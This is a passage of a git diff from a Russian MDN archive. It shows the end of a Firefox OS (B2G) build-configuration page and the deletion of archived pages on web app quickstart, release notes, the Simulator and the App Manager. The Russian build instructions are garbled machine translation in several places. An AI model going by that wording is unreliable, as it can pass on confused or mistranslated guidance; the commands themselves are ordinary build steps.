Это может быть потому, что у вас есть акцент или другие недопустимые символы в указании пути к текущей директории, как '/home/username/Téléchargements/B2G/'. Перемещение репо B2G-то еще. Cf. : http://stackoverflow.com/questions/18049320/repo-init-unicodedecodeerror-on-ubuntu-13-04

- -

На OSX, подобная ошибка может произойти следующим образом:

- -
File "/Path/to/B2G/.repo/repo/git_refs.py", line 155, in _ReadLoose1
-    ref_id = ref_id.decode()
-UnicodeDecodeError: 'ascii' codec can't decode byte 0xd0 in position 578: ordinal not in range(128)
- -

Одна из возможностей Обойти это, выровнять 155 git_refs.py, расположенного по адресу '/Path/to/B2G/.repo/repo' и измененить

- -

ref_id=ref_id.decode() to ref_id=ref_id.decode('latin-1')

-
- -
Примечание: Если вы получаете сообщение об ошибке, подобное fatal: manifest 'nexus-s.xml', есть вероятность, что вы просто должны указать ветвь которую вы хотите использовать. Увидеть Building a branch Для получения дополнительной информации.
- -
Примечание: Если шаг конфигурации завершается с сообщением об ошибке, как error: manifest required for this command -- запустите Init, то изменения в том, что файл манифеста для репо (расположен в B2G/.repo/manifest.xml)  не была успешно создан. Вы должны попробовать ход config.sh again. Если вы делаете это для нового устройства можно добавить его в config.sh а затем передать его в местное файл манифеста, как так:
-./config.sh <device> -m path/to/manifest.
- -

Рядом с начала конфигурации, вам может понадобиться установить вашу личность (та, что используется Git), а также возможность для использования цвета. После этого продолжается процесс. Для выбора цвета, вы можете просто выбрать "Y" здесь, как вы, вероятно, хотите цвет, сборку.

- -
-

Примечание: это возможно для config.sh приводит к неудаче с Git ошибки, связанные с кокетливыми, таких как следующие :

- -

Fetching projects:  95% (118/124)
- error: Exited sync due to fetch errors

- -

Это, кажется, быть вызвано ошибкой подключения на Android исходного репозитория репо. В этом случае, вам нужно будет перезапустить config.sh. Через некоторое время, он автоматически возобновит где она была прервана. Возможно, вам придется сделать, чтобы это несколько раз, пока, наконец, не получает всех проектов.

-
- -

Настройка сборки с помощью резервной копии системы

- -

Если Ваш телефон уже не имеет Android на нем, и ваш B2G дерево не двоичные капли в нем, но вы мудро made a backup of the /system partition, Вы можете выполнить сборку на системы резервного копирования, как это:

- -
ANDROIDFS_DIR=<absolute path to parent dir of system dir> ./config.sh <target>
-
- -

Система сборки по умолчанию будет смотреть в где-нибудь как резервного копирования Инари / системы (в зависимости от конфигурации устройства); если вы поместите файлы в ожидаемом месте вам не нужно будет указать каталог.

- -

Обратите внимание, что если ваш телефон всегда был Firefox OS на нее, чтобы начать, и не бежал Android, это все-таки хорошо, чтобы вытащить / системный раздел по указанному выше направлениях - это даст вам нужные файлы.

- -

 

- -

Настройка B2G построить для эмулятораIf вы хотите построить эмулятор, а не на реальном телефоне, вы можете указать эмулятор *, чтобы получить эмулятор устройства ARM, или эмулятор-x86 * построить эмулятор x86. Последнее происходит быстрее, но не точным представлением фактического мобильном устройстве и не так хорошо поддерживается; использовать его не рекомендуется.

- -

 

- -

Таким образом, чтобы построить ARM Jellybean эмулятор, например, можно использовать следующую команду:

- -
./config.sh emulator-jb
-
- -

Рядом с начала конфигурации вам может понадобиться установить опцию для цветной печати, то после этого продолжает процесс. Вы можете просто выбрать "Y" здесь, как вы, вероятно, хотите цвет, сборку.

- -

К этому моменту вы должны быть готовы к start the build, если вы не нуждаетесь ни в более продвинутой информации, указанного ниже.

- -

Помните, что здание для эмулятора может не на 64-битной Linux.

- -
Примечание: Разработчики на Mac OS X 10.9 или выше, чтобы перейти к эмулятора-JB или эмуляторе-KK, а не, потому что основаны AOSP ICS эмулятор не может быть построен на Mac OS X 10.9. Увидеть Requirements for Mac OS X для получения дополнительной информации.
- -

Строительство против обычая Gecko

- -

Там могут быть случаи, что вы хотите или должны создавать загрузочные для Gecko на основе другой версии Gecko, чем тот, который используется по умолчанию (как указано в манифесте). Вы можете сделать это, отредактировав файл .userconfig. Например, если вы хотите построить на Mozilla Центрально-:

- -
export GECKO_PATH=/path/to/mozilla-central
-export GECKO_OBJDIR=/path/to/mozilla-central/objdir-gonk
-
- -
-

Примечание: в случае построения против обычая Gecko в Mac OS X, каталог Mozilla центральной должен быть в случае чувствительной файловой системы.
-  

-
- -

Обратите внимание, что вы можете сделать это либо перед тянуть хранилище (т.е. до config.sh шаг выше) или в любой последующий момент. Вы также можете сохранить несколько вариантов сборки (с отладкой или нет, и т.д.), имея несколько файлов UserConfig (с разными настройками - каждый нуждается в другом OBJDIR, конечно), и делает .userconfig символическую ссылку, указывающую на какой конфигурации вы хотите построить сейчас.

- -

Для получения более подробной информации ознакомьтесь с Changing the Gecko source tree.

- -

Построение филиал

- -

Если вы хотите построить для филиала, кроме ветви по умолчанию (обратите внимание: филиал по умолчанию не может быть "мастером"!), Вам нужно будет префикс ваш звонок config.sh с именем ветви, например, так:

- -
BRANCH=branch-name ./config.sh <device>
- -

Имена отраслевые довольно логичны, и в значительной степени следовать имена товары / версиях, так что v1-train, v1.0.0, v1.0.1, v1.1, v1.1.0hd, v1.2, v1.3, v1.4, v2.0  и так далее в будущем. В качестве примера, чтобы построить B2G Firefox 1.2, для себя эмулятор ARM, нужно ввести

- -
BRANCH=v1.2 ./config.sh emulator
- -

Если вы столкнулись config.sh уже можно увидеть имена филиалов, перейдя B2G/.repo/manifests  и делать "git branch -a" (Это не заполняется Унти тогда.) Название ветвь приведены в качестве конечного маркера на линии, e.g. "v1-train" or "master":

- -
  remotes/origin/master
-  remotes/origin/v1-train
-  remotes/origin/v1.0.0
-  remotes/origin/v1.0.1
- -

Увидеть Customization with the .userconfig file  для дополнительных настроек вы можете сделать.

- -

Копирование B2G дерево на новую машину

- -

Если вы ранее создали B2G дерево, а затем получил новый компьютер (вам повезло!), Вы найдете вашу жизнь будет намного легче, если вы просто перенести всю вашу B2G дерево со старого компьютера на новый, а чем установка все это снова. Чтобы сделать это, установите диск вашего старого компьютера на новый компьютер, то сделать это:

- -
rsync -a source/ dest/
-
- -

Где источник полный путь (включая слэш) исходного дерева, и приемник, где вы хотите, чтобы положить ее (косая черта также важно!).

- -
Примечание: При копировании файлов с компьютера другую платформу обеспечения для запуска './build.sh clean ", прежде чем начать процесс сборки. Если вы этого не сделаете это, вы можете столкнуться с проблемами компиляции.
- -

Если вы сделаете это, вы можете пропустить все остальной части этой статьи и перейти прямо к building.

- -

Обновление B2G дерево

- -

Когда хранилище обновляется до новой версии B2G, вы хотите, чтобы обновить B2G дерево. Чтобы сделать это, вы можете выполнить следующие команды:

- -
git fetch origin
-git checkout origin/master
- -

Вы можете проверить, что это работает правильно, запустив:

- -
git show HEAD
- -

и убедившись, что фиксация показано соответствует последний коммит показано на: https://github.com/mozilla-b2g/B2G/commits/master

- -

Переходим к следующему шагу

- -

На данный момент, вы должны быть готовы к Building Firefox OS [en-US].

diff --git a/files/ru/archive/b2g_os/quickstart/index.html b/files/ru/archive/b2g_os/quickstart/index.html deleted file mode 100644 index a5bb4fa406..0000000000 --- a/files/ru/archive/b2g_os/quickstart/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Build -slug: Archive/B2G_OS/Quickstart -tags: - - Apps - - NeedsTranslation - - Quickstart - - TopicStub -translation_of: Archive/B2G_OS/Quickstart ---- -
-

Quickstart information on coding open web apps.

-
-
-
- Introduction to open web apps
-
- What are open web apps? How they differ from regular web pages? Why is this significant? This article aims to answer these questions and more.
-
- Your first app
-
- This article takes you through the basic steps and additional knowledge on top of regular web development required to create installable open web apps.
-
- Introduction to Firefox OS
-
- An introduction to Firefox OS, Mozilla's new open web app-based mobile platform.
-
- Introduction to manifests
-
- An FAQ designed to answer any questions you may have about manifests, hosting apps, origins, and other such topics.
-
- App development for web developers
-
- If you're a web developer, how do open web apps differ from what you're used to? This article explains all.
-
- App development for mobile developers
-
- If you're a native mobile application developer, what advantages can open web apps bring to you, and how do they differ from what you are used to? Here are some ideas.
-
- Developing app functionality
-
- This page talks about the kinds of different functionality that you might want to build into your apps, with links to further information.
-
- Payments
-
- How do you build functionality to make people pay for installing your open web apps? Here is the lowdown.
-
- App tools
-
- Last for this section, we provide some links to more information on the tools available to help you develop great open web apps.
-
diff --git a/files/ru/archive/b2g_os/quickstart/your_first_app/index.html b/files/ru/archive/b2g_os/quickstart/your_first_app/index.html deleted file mode 100644 index ed0da26923..0000000000 --- a/files/ru/archive/b2g_os/quickstart/your_first_app/index.html +++ /dev/null @@ -1,267 +0,0 @@ ---- -title: Ваше первое приложение -slug: Archive/B2G_OS/Quickstart/Your_first_app -tags: - - Начальный - - Приложение - - Руководство -translation_of: Archive/B2G_OS/Quickstart/Your_first_app ---- -
-

Примечание: раздел  Быстрый старт был обновлен новой, более целенаправленной статьей Быстрого старта, которая заменяет все предыдущие статьи. Мы надеемся, что вы считаете это более удобным, и ускоренным опытом обучения, чем предыдущие серии статей.

-
- -
-
-

Открытые веб-приложения дают веб-разработчикам именно то, что они хотели годами: кросс-платформенная среда, посвященная инсталлируемым приложениям, созданным с помощью  HTML, CSS и JavaScript - в Firefox OS является первым специализированным открытым веб приложением платформы. Это руководство стремится достучаться до вас и работать быстро с базовой архитектурой и инструкцией по сборке, так что вы сможете создать последующее отличное приложение!

-
- -

.Если вы хотели бы работать вместе с этим руководством, вы можете скачать наш быстрый шаблон запуска приложения. Найти больше  о том, что он содержит, читая наш путеводитель приложения шаблона.

- -

Структура приложения

- -

Пакетные и Размещенные приложения

- -

Есть два типа открытых веб-приложений: пакетные и размещенные. Пакетные приложения, по сути, сжатые файлы, содержащие все компоненты приложения: HTML, CSS, JavaScript, изображения, подписи и т.д. Размещаемые приложения  запускаются с сервера в заданном домене, так же, как стандартный веб-сайт. Оба типа приложений требуют действительные подписи. Когда приходит время, чтобы перенести свои приложения на Firefox Marketplace, вы либо загрузружаете свое приложение в виде сжатого файла или предоставляете URL, где размещается действующее приложений. 

- -
-

- -
-

Сделано в сотрудничестве с Treehouse: Проверьте их!

-
-
- -
Цель данного руководства - создание размещенного приложения, которое будет жить на вашем локальном адресе. После того, как ваше приложение будет готово к переносу на Firefox Marketplace, вы можете принять решение сделать его пакетным приложенкм или запускать его в качестве размещенного приложения. 
- -
 
- -

Подпись приложения

- -

Каждое Firefox приложение требует файл manifest.webapp в корне. Файл manifest.webapp предоставляет важную информацию о приложении, например, версию, имя, описание, значка расположение, языковые стандарты, домены, приложение может быть установлено из, и многое другое. Только название и описание не требуется. Простые подписи включены в шаблоне приложения и похоже на следующее:

- -
{
-  "version": "0.1",
-  "name": "Open Web App",
-  "description": "Your new awesome Open Web App",
-  "launch_path": "/app-template/index.html",
-  "icons": {
-    "16": "/app-template/app-icons/icon-16.png",
-    "48": "/app-template/app-icons/icon-48.png",
-    "128": "/app-template/app-icons/icon-128.png"
-  },
-  "developer": {
-    "name": "Your Name",
-    "url": "http://yourawesomeapp.com"
-  },
-  "locales": {
-    "es": {
-      "description": "Su nueva aplicación impresionante Open Web",
-      "developer": {
-        "url": "http://yourawesomeapp.com"
-      }
-    },
-    "it": {
-      "description": "La tua nuova fantastica Open Web App",
-      "developer": {
-        "url": "http://yourawesomeapp.com"
-      }
-    }
-  },
-  "default_locale": "en"
-}
- -
-

- -
-

Сделано в сотрудничестве с Treehouse: ПРОВЕРЬТЕ ИХ!

-
-
- -

 

- -

Базовая подпись – все, что нужно, чтобы начать работу. Для более подробной информации о подписи, прочитайте Подпись приложения .

- -

Макет & Дизайн приложения

- -

Отзывчивый дизайн становится все более важным, поскольку большое разрешение экрана становятся стандартом для различных устройств. Даже если главная цель вашего приложения является направленной на мобильные платформы, такие как Firefox OS, другие устройства, скорее всего, также имеют доступ к нему. CSS медиа запросы  позволяют вам адаптировать макет для устройства, как показано в этом примере скелет CSS:

- -
/* The following are examples of different CSS media queries */
-
-/* Basic desktop/screen width sniff */
-@media only screen and (min-width : 1224px) {
-  /* styles */
-}
-
-/* Traditional iPhone width */
-@media
-  only screen and (-webkit-min-device-pixel-ratio : 1.5),
-  only screen and (min-device-pixel-ratio : 1.5) {
-  /* styles */
-}
-
-/* Device settings at different orientations */
-@media screen and (orientation:portrait) {
-  /* styles */
-}
-@media screen and (orientation:landscape) {
-  /* styles */
-}
- -

There are many JavaScript and CSS frameworks available to aid in responsive design and mobile app development (Bootstrap, etc.) Choose the framework(s) that best fit your app and development style.

- -

Web APIs

- -

JavaScript APIs are being created and enhanced as quickly as devices are. Mozilla's WebAPI effort brings dozens of standard mobile features to JavaScript APIs. A list of device support and status is available on the WebAPI page. JavaScript feature detection is still the best practice, as shown in the following example:

- -
// If this device supports the vibrate API...
-if('vibrate' in navigator) {
-    // ... vibrate for a second
-    navigator.vibrate(1000);
-}
- -

In the following example, the display style of a <div> is modified based on changes in the battery state of the device:

- -
// Create the battery indicator listeners
-(function() {
-  var battery = navigator.battery || navigator.mozBattery || navigator.webkitBattery,
-      indicator, indicatorPercentage;
-
-  if(battery) {
-    indicator = document.getElementById('indicator'),
-    indicatorPercentage = document.getElementById('indicator-percentage');
-
-    // Set listeners for changes
-    battery.addEventListener('chargingchange', updateBattery);
-    battery.addEventListener('levelchange', updateBattery);
-
-    // Update immediately
-    updateBattery();
-  }
-
-  function updateBattery() {
-    // Update percentage width and text
-    var level = (battery.level * 100) + '%';
-    indicatorPercentage.style.width = level;
-    indicatorPercentage.innerHTML = 'Battery: ' + level;
-    // Update charging status
-    indicator.className = battery.charging ? 'charging' : '';
-  }
-})();
- -

In the code sample above, once you confirm that the Battery API is supported, you can add event listeners for chargingchange and levelchange to update the element's display. Try adding the following to the quickstart template, and see if you can get it working.

- -

Check the WebAPI page frequently to keep up to date with device API statuses.

- -

Install API functionality

- -

In our sample quickstart app template, we've implemented an install button that you can click when viewing the app as a standard Web page, to install that site on Firefox OS as an app. The button markup is nothing special:

- -
<button id="install-btn">Install app</button>
- -

This button's functionality is implemented using the Install API (see install.js):

- -
var manifest_url = location.href + 'manifest.webapp';
-
-function install(ev) {
-  ev.preventDefault();
-  // define the manifest URL
-  // install the app
-  var installLocFind = navigator.mozApps.install(manifest_url);
-  installLocFind.onsuccess = function(data) {
-    // App is installed, do something
-  };
-  installLocFind.onerror = function() {
-    // App wasn't installed, info is in
-    // installapp.error.name
-    alert(installLocFind.error.name);
-  };
-};
-
-// get a reference to the button and call install() on click if the app isn't already installed. If it is, hide the button.
-var button = document.getElementById('install-btn');
-
-var installCheck = navigator.mozApps.checkInstalled(manifest_url);
-
-installCheck.onsuccess = function() {
-  if(installCheck.result) {
-    button.style.display = "none";
-  } else {
-    button.addEventListener('click', install, false);
-  };
-};
-
- -

Let's run through briefly what is going on:

- -
    -
  1. We get a reference to the install button and store it in the variable button.
  2. -
  3. We use navigator.mozApps.checkInstalled to check whether the app defined by the manifest at http://people.mozilla.com/~cmills/location-finder/manifest.webapp is already installed on the device. This test is stored in the variable installCheck.
  4. -
  5. When the test is successfully carried out, its success event is fired, therefore installCheck.onsuccess = function() { ... } is run.
  6. -
  7. We then test for the existence of installCheck.result using an if statement. If it does exist, meaning that the app is installed, we hide the button. An install button isn't needed if it is already installed.
  8. -
  9. If the app isn't installed, we add a click event listener to the button, so the install() function is run when the button is clicked.
  10. -
  11. When the button is clicked and the install() function is run, we store the manifest file location in a variable called manifest_url, and then install the app using navigator.mozApps.install(manifest_url), storing a reference to that installation in the installLocFind variable. You'll notice that this installation also fires success and error events, so you can run actions dependent on whether the install happened successfully or not.
  12. -
- -

You may want to verify the implementation state of the API when first coming to Installable web apps.

- -
-

Note: Installable open web apps have a "single app per origin" security policy; basically, you can't host more than one installable app per origin. This makes testing a bit more tricky, but there are still ways around this, such as creating different sub-domains for apps, testing them using the Firefox OS Simulator, or testing the install functionality on Firefox Aurora/Nightly, which allows you to install installable web apps on the desktop. See FAQs about apps manifests for more information on origins.

-
- -

WebRT APIs (Permissions-based APIs)

- -

There are a number of WebAPIs that are available but require permissions for that specific feature to be enabled. Apps may register permission requests within the manifest.webapp file like so:

- -
// New key in the manifest: "permissions"
-// Request access to any number of APIs
-// Here we request permissions to the systemXHR API
-"permissions": {
-    "systemXHR": {}
-}
- -

The three levels of permission are as follows:

- -
    -
  • Normal — APIs that don't need any kind of special access permissions.
  • -
  • Privileged — APIs available to developers to use in their applications, as long as they set access permissions in the app manifest files, and distribute them through a trusted source.
  • -
  • Certified — APIs that control critical functions on a device, such as the call dialer and messaging services. These are generally not available for third party developers to use.
  • -
- -

For more information on app permission levels, read Types of packaged apps. You can find out more information about what APIs require permissions, and what permissions are required, at App permissions.

- -
-

It's important to note that not all Web APIs have been implemented within the Firefox OS Simulator.

-
- -

Tools & Testing

- -

Testing is incredibly important when supporting mobile devices. There are many options for testing installable open web apps.

- -

WebIDE with Firefox OS Simulator

- -

The new kid on the block with regards to testing tools is called WebIDE. This tool allows you to connect desktop Firefox to a compatible device via USB (or a Firefox OS simulator), push apps straight to the device, validate apps, and debug them as they run on the device.

- -

Unit Testing

- -

Unit tests are extremely valuable when testing on different devices and builds. jQuery's QUnit is a popular client-side testing utility, but you can use any set of testing tools you'd like.

- -

Installing Firefox OS on a Device

- -

Since Firefox OS is an open source platform, code and tools are available to build and install Firefox OS on your own device. Build and installation instructions, as well as notes on what devices it can be installed on, can be found on MDN.

- -

Dedicated Firefox OS developer preview devices are also available: read our Developer preview phone page for more information.

- -

App Submission and Distribution

- -

Once your app is complete, you can host it yourself like a standard web site or app (read Self-publishing apps for more information), or it can be submitted to the Firefox Marketplace. Your app's manifest will be validated and you may choose which devices your app will support (e.g. Firefox OS, Desktop Firefox, Firefox Mobile, Firefox Tablet). Once validated, you can add additional details about your app (screenshots, descriptions, price, etc.) and officially submit the app for listing within the Marketplace. Once approved, your app is available to the world for purchase and installation.

- -

More Marketplace & Listing Information

- -
    -
  1. Submitting an App to the Firefox OS Marketplace
  2. -
  3. Marketplace Review Criteria
  4. -
  5. App Submission Video Walkthrough
  6. -
-
diff --git a/files/ru/archive/b2g_os/releases/2.0/index.html b/files/ru/archive/b2g_os/releases/2.0/index.html deleted file mode 100644 index e7aa59e0c3..0000000000 --- a/files/ru/archive/b2g_os/releases/2.0/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Firefox OS 2.0 для разработчиков -slug: Archive/B2G_OS/Releases/2.0 -tags: - - B2G - - Firefox OS - - Информация о версии -translation_of: Archive/B2G_OS/Releases/2.0 ---- -

-

Черновик
- Эта страница не завершена.

- -

-
-

Firefox OS 2.0 сейчас находится на стадии предрелизной подготовки. Это Gecko компонент базирующийся на Firefox 32 (см Firefox 32 версия для разработчиков.) На этой странице будут отображаться шаги разработки и нововведения в Firefox OS 2.0.

-
-

Другое содержимое TBD

-

Смотрите также

- -

Другие версии

-

diff --git a/files/ru/archive/b2g_os/releases/index.html b/files/ru/archive/b2g_os/releases/index.html deleted file mode 100644 index 3edbcd4c75..0000000000 --- a/files/ru/archive/b2g_os/releases/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Firefox OS developer release notes -slug: Archive/B2G_OS/Releases -tags: - - Firefox OS - - NeedsTranslation - - TopicStub -translation_of: Archive/B2G_OS/Releases ---- -

Firefox OS release notes by version

-

This section provides articles covering each new release of Gaia and Gecko for Firefox OS, explaining what features were added and bugs eliminated in each update. There is also a linked summary table showing what APIs are supported by each version of Firefox OS.

-
- {{ListSubpages("",1,0,1)}}
-

Other supporting information

-
-
- Firefox OS API support table
-
- Lists the different APIs available, and what versions of Firefox have support for them.
-
- App permissions
-
- Lists hosted, privileged and certified APIs, along with information on the permissions they need to have set in the App Manifest of your installable apps, such as the manifest permission name, app type required, description, access property, and default permission.
-
diff --git a/files/ru/archive/b2g_os/simulator/index.html b/files/ru/archive/b2g_os/simulator/index.html deleted file mode 100644 index e79f5ba765..0000000000 --- a/files/ru/archive/b2g_os/simulator/index.html +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: Firefox OS Симулятор -slug: Archive/B2G_OS/Simulator -tags: - - Apps - - Firefox OS - - Tools - - 'l10n:priority' -translation_of: Archive/B2G_OS/Simulator ---- -
-

Страница с описанием Симулятора Firefox OS для разработчиков, ориентирующихся на Firefox OS 1.2 или новее. Если вы разрабатываете приложения для Firefox OS 1.1, то см. документацию для Симулятора Firefox OS 1.1.

-
- -

Firefox OS Simulator — это версия ПО высшего уровня Firefox OS (уровня пользователя), которая имитирует устройство Firefox OS, но работает на настольном компьютере. Это означает, что во многих случаях вам не нужно реального устройства для тестирования и отладки приложения. Он работает в окне того же размера, что и устройство на Firefox OS и включает в себя пользовательский интерфейс Firefox OS и встроенные приложения, а также имитирует многие из API устройств Firefox OS.

- -

Симулятор упаковывается и распространяется как дополнение к Firefox. После того как вы скачали и установили его в Firefox, вы можете запускать его, push apps to it, и подсоединять к нему инструменты разработки с помощью App Manager или WebIDE.

- -

Установка

- -

Для установки симулятора используйте панель «Управление дополнительными компонентами» WebIDE (встроена в Firefox 34 с версии 34). Multiple versions are available, and you are advised to install them all, for maximum flexibility.

- -

Для запуска симулятора, выберите его из списка сред выполнения WebIDE. Для получения более подробной информации см. инструкции в документации WebIDE. После первого запуска симулятора вы можете загружать в него приложения и отлаживать их в WebIDE точно так же, как на реальном устройстве.

- -

Если вы используете App Manager (более старую утилиту, которая была доступна до WebIDE), то вы можете установить симулятор воспользовавшись следующей кнопкой:

- -

Установить Симулятор

- -

Пользовательский интерфейс Симулятора

- -

Симулятор запускается в отдельном окне, в адаптированном разрешении с площадью экрана 320x480 пикселей (pixels).

- -

The Simulator appears as a separate window, sized so the simulated screen area is 320x480 pixels. To simulate touch events you can click the mouse button and drag while holding the button down. So by clicking and dragging right-to-left from the Home Screen, you'll see the built-in apps, as well as any apps you have added:

- -

- -

The Simulator has two buttons in a toolbar at the bottom:

- - - -

SD card emulation

- -

In the Simulator the device SD card is mapped to the "fake-sdcard" directory in the Simulator's profile, which is itself located inside the "extensions" directory under the Firefox profile in which the Simulator is installed. For example:

- -
/path/to/Firefox/Profiles/Firefox-profile-name/extensions/fxos_2_2_simulator@mozilla.org/profile/fake-sdcard
- -

Files read or written using the getDeviceStorage API will appear here.

- -

Before version 2.2 of the Simulator, you had to create the "fake-sdcard" directory manually for this to work. From 2.2 onwards, the "fake-sdcard" directory is created for you automatically.

- -

Also from version 2.2 onwards, if you're running the Simulator from the command line you can define a different directory by passing the --storage-path option.

- -

Limitations of the Simulator

- -

Note that the Firefox OS Simulator isn't a perfect simulation.

- -

Hardware limitations

- -

Apart from screen size, the Simulator does not simulate the hardware limitations of a Firefox OS device such as available memory or CPU speed.

- -

Аудио/видео кодеки 

- -

The following codecs depend on hardware-accelerated decoding and are therefore not yet supported:

- - - -

This means it isn't possible to use the Simulator to test video playback in apps and on websites like Youtube that rely on these codecs.

- -

Unsupported APIs

- -

Certain APIs that work on the device won't work on the Simulator, generally because the supporting hardware is not available on the desktop. We've implemented simulations for some APIs such as geolocation, and expect to add more in future releases. However, at the moment the following APIs are not supported. Using them might throw errors or just return incorrect results:

- - - -

Getting help

- -

If you have a question, try asking us on the dev-developer-tools mailing list or on #devtools on irc.mozilla.org.

- -

How to enable verbose logging

- -

You can see messages logged from your app in the Web Console, which you can attach to your app using the WebIDE. If you want to catch early messages happening during app startup, before the console gets connected and working, you can enable verbose logging in the Simulator.

- -

Visit about:config and create a new preference. The preference name is different for each version of the Simulator:

- - - -

Set it to the string value "all", and disable, then reenable, the add-on in the Add-on Manager. Now extra messages about the Simulator's operation will appear in the Browser Console.

- -

Building the Simulator

- -

If you'd like to test patches to the Gecko or Gaia code that the Simulator contains, you may be interested in modifying the simulator to use a custom Gecko build or Gaia profile. Alternatively, you can build a new Simulator from your Gecko checkout.

diff --git a/files/ru/archive/b2g_os/using_the_app_manager/index.html b/files/ru/archive/b2g_os/using_the_app_manager/index.html deleted file mode 100644 index 4eb7c0bdf9..0000000000 --- a/files/ru/archive/b2g_os/using_the_app_manager/index.html +++ /dev/null @@ -1,315 +0,0 @@ ---- -title: Использование Менеджера приложений (не переведен до конца) -slug: Archive/B2G_OS/Using_the_App_Manager -translation_of: Archive/B2G_OS/Using_the_App_Manager ---- -
-

Менеджер приложений - это новый инструмент в Firefox для Рабочего стола, который предлагает вам инструменты чтобы помочь вам тестировать, разрабатывать и отлаживать веб-приложения HTML5 на телефонах базированных на Firefox OS и в Симуляторе Firefox OS, прямо в вашем браузере.

-
- -

{{EmbedYouTube("z1Bxg1UJVf0")}}

- -

Менеджер приложений состоит из:

- - - -

Быстрая установка:

- -

Эта часть создана чтобы настроить и запустить как можно быстрее. Если вам надо больше деталей, то, пожалуйста , пройдите далее к части ("Конфигурация системы и устройства")  и начинайте читать оттуда. Также посмотрите часть ("Поиск неисправностей) для помощи, если у вас проблема.

- -
    -
  1. Убедитесь, что у вас установлен Firefox 26+ для Рабочего стола.
  2. -
  3. Откройте Менеджер приложении( в адресной строке наберите about:app-manager).
  4. -
  5. Если у вас нет настоящего устройства:
  6. -
  7. -
      -
    1. Установите симулятор Firefox OS
    2. -
    3. В нижней панели Менеджера приложений, нажмите на - Start Simulator - , потом нажать на имя установленного симулятора, который должен появиться.
    4. -
    -
  8. -
  9. Если у вас есть настоящее устройство:
  10. -
  11. -
      -
    1. Убедитесь, что у вас установлен Firefox OS 1.2 или выше
    2. -
    3. На Windows, установите драйвера предоставленные производителем телефона.
    4. -
    5. В настройках вашего устройства, отключите Lock Screen (Settings > Screen Lock) и включите Remote Debugging (Settings >Device information > More information > Developer)
    6. -
    7. Установите плагин Помощника ADB на Firefox Desktop.
    8. -
    9. Подключите ваше устройство к компьютеру через USB порт.
    10. -
    11. Вы должны увидеть имя вашего устройства в нижней Панели Менеджера приложений. Нажмите на нее.
    12. -
    -
  12. -
  13. Нижняя панель должна показать:"Соединено с xxx"
  14. -
  15. Нажмите на Панель Приложений и добавьте приложение (на компьютере или в интернете)
  16. -
  17. Кнопка Обновить проверяет ваше приложение и устанавливает его в Симулятор/Устройство.
  18. -
  19. Кнопка Отладка подключает инструменты разработчика к рабочему приложению.
  20. -
  21. -

    Просмотрите часть {{ anch("Troubleshooting") }} для помощи если у вас есть проблема.

    -
  22. -
- -

Конфигурация системы и устройства

- -

Первое что вам будет нужно сделать, когда вы используете Менеджер Приложений - это удостовериться, что телефон и система настроены правильно. Эта часть посвящена тому,  чтобы пройти все нужные шаги.

- -

Необходим Firefox OS 1.2 и более

- -

Убедитесь, что ваше устройство работает на Firefox OS 1.2/Boot2Gecko 1.2 или больше. Чтобы проверить версию Firefox OS, на котором работает устройство, пройдите к Settings > Device Information > Software.

- -

Если у вас версия ниже, то от телефона зависит, будете вы устанавливать новую версию Firefox 1.2+, или настраивать и собирать самостоятельно из исходного кода.

- -

Доступные сборки:

- -

Geeksphone Keon/Peak сборки (англ.) (чтобы узнать зачем они пройдите к Обновление и персонализация телефонов на Firefox OS Developer Preview /Geeksphone(англ.))

- -

Чтобы построить свою сборку Firefox OS 1.2+, следуйте инструкциям расположенным в Сборка и установка Firefox OS, начиная с Прежде, чем собрать Firefox OS.

- -

Удаленная отладка

- -

Далее вам надо включить удаленную отладку в Firefox OS. Чтобы это сделать, перейдите в Settings > Device information > More information > Developer и проверьте галочку Remote Debugging.

- -

Помощник ADB(OMA)

- -

Весь процесс использует Android Debug Bridge(ADB)(Отладочный Мост Android(OMA) для того, чтобы обрабатывать подключение между компьютером и устройством. Есть два способа запуска ADB:

- -

Позвольте Firefox обрабатывать ADB(рекомендовано). Установите плагин помощник ADB(англ.), который сделает процесс быстрее. Когда это установлено, не будет нужды устанавливать ADB, не надо будет вводить команду adb forward. Все это обработает плагин.

- -

Установить плагин Помощник ADB

- -

Если использовать ADB самостоятельно, то он у вас должен быть установлен на компьютере - загрузите и установите adb (просмотрите Get the Android SDK(англ.)) как часть пакета Android SDK. Вам нужно будет включить переадресацию адресов, чтобы это сделать надо ввести команду в терминал:

- -
adb forward tcp:6000 localfilesystem:/data/local/debugger-socket
- -

Заметьте, что это надо делать всегда после перезагрузки/отключения-подключения телефона к сети.

- -
-

Примечание: Нет нужды вводить эту команду если у вас установлен Помощник ADB.

-
- -

Подключение устройства к Менеджеру Приложений

- -

Когда настройка завершена, пришло время подключить устройство к компьютеру и запустить менеджер приложений:

- - - -

- -
-

Примечание: Обратите внимание, что другие элементы управления в строке состояния соединения позволяют подключить Симулятор Менеджера Приложений, который мы рассмотрим в следующем разделе, и изменить порт, чтобы соединение происходило успешно. Если изменить порт, вы также должны будете включить переадресацию для этого порта, также, как указано в {{anch("Enable port forwarding")}} разделе выше.

-
- -

Использование плагина

- -

Firefox OS Simulator

- -

Если у вас нет реального устройства, доступного для использования Менеджера Приложений, можно еще попробовать его с помощью Firefox OS Simulator. Для начала, установите соответствующий симулятор для вашей операционной системы:

- -

Установить Симулятор

- -
-

Примечание: в настоящее время доступен только Firefox OS 1.2 симулятор, хотя в будущем могут появиться более новые версии.

-
- -

После установки симулятора, вы должны найти в строке состояния соединения, в нижней части вкладки Менеджер Приложений, и нажмите кнопку "Start simulator". Появится три кнопки :

- -

Панель приложений

- -

Теперь, когда все работает, рассмотрим функционал доступный в Менеджере Приложений, начиная с Панели приложений. Отсюда вы можете отправить существующие приложения на ваше устройство одним нажатием и отладить его:

- -

Информация о вашем приложении должна появиться в правой половине окна, как показано ниже:

- -

- -

Редактор Манифестов

- -

Начиная с Firefox 28 версии Панель Приложений включает в себя Редактор Манифестов:

- -

- -

Отладка

- -

Кликните по "Update" чтобы обновить (установить) приложение на устройство. Кликните по "debug" для подключения набора инструментов, что позволит вам непосредственно отлаживать свой код:

- -

- -
-

Примечание: Вы будете наслаждаться играя с панелью инструментов - попробуйте измененить DOM, CSS и т.д., и вы увидите что изменения отображаются на устройстве в режиме реального времени. Такие изменения будут сохранены в коде приложения, вы увидите их в следующий раз, когда вы откроете приложение на устройстве.

-
- -

